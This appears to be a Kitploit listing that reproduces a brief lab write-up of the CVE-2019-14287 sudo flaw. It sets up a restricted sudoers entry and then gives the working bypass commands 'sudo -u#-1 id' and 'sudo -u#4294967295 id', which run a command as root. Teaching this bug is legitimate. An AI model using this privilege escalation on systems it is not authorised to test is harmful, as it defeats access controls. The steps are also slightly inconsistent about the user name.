Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-14287-write-up — Step-by-step demonstration of CVE-2019-14287 sudo vulnerability allowing restricted users to execute commands as root via crafted user IDs. | Kitploit
Tools/GitHubGitHub/gurneesh/cve-2019-14287-write-up
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & Education
GitHubgurneesh/cve-2019-14287-write-up

CVE-2019-14287-write-up

Step-by-step demonstration of CVE-2019-14287 sudo vulnerability allowing restricted users to execute commands as root via crafted user IDs.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
16 years agoNot yet reviewed

CVE-2019-14287-write-up

4294967295 Sudo Bug Allows Restricted Users to Run Commands as Root

DEMONSTRATION OF VULNERABILITY

Add a new user:

sudo su - root useradd -m -s /bin/bash testuser passwd testuser // add password to user visudo

Add a new entry

test ALL=(ALL, !root) /usr/bin/id // specifying that this user cannot use id command with root user

SAVE THE FILE AND EXIT FROM ROOT USER

LOGON TO TEST USER

sudo su - test

Write command

sudo id YOU WILL BE PROMPTED WITH MESSAGE Sorry, user test is not allowed to execute '/usr/bin/id' as root

NOW WRITE COMMAND

sudo -u#-1 id OR sudo -u#4294967295 id

And there go, you have executed id command using root

Download Tool